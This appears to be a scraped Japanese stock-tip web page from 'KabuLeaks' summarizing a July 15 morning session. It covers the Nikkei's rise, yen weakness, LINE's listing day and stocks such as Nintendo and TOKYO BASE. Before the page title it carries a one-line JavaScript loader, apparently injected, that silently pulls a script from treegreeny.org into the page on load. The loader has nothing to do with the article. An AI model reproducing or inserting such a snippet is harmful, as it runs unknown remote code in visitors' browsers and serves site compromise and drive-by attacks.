;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/15 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【7/15 前引け】

前場の日経平均株価は189円高と5日続伸。米市場の連日の史上最高値更新や1ドル105円台の円安が好感され買いが先行。買い一巡後は週末要因、新規手掛かり材料難などから伸び悩むも為替が106円台まで円安に振れたことから上げ幅を拡大した。

個別では、株式分割、第1四半期の大幅増益の【3415】TOKYO BASEや自社株買いを実施の【3366】一六堂。第1四半期営業は黒字浮上で通期計画進捗率を好感された【7608エスケイジャパンがストップ高に。また、株式分割から人口知能(AI)関連の【6182】ロゼッタや野村證券格上げの【9983】ファーストリテイリングが大幅高。本日引け後決算期待から【9602】東宝などが買い優勢となっている。

日経平均は為替の106円台への円安受け主力の輸出株など中心に買い優勢となっているが一方で新興市場、マザーズ指数など大きく下落。特に本日【3938】LINEが上場し、LINE関連は出尽くしから急落する銘柄が目立つ。

前場ほぼ高値引けと円安背景に上昇したが、引き続き5連騰からの利益確定売りは警戒しておいて問題ないと思う。物色はポケモンGO人気からの【7974】任天堂やそれに関する関連銘柄。決算期待のある銘柄など個別株中心の立ち回りで。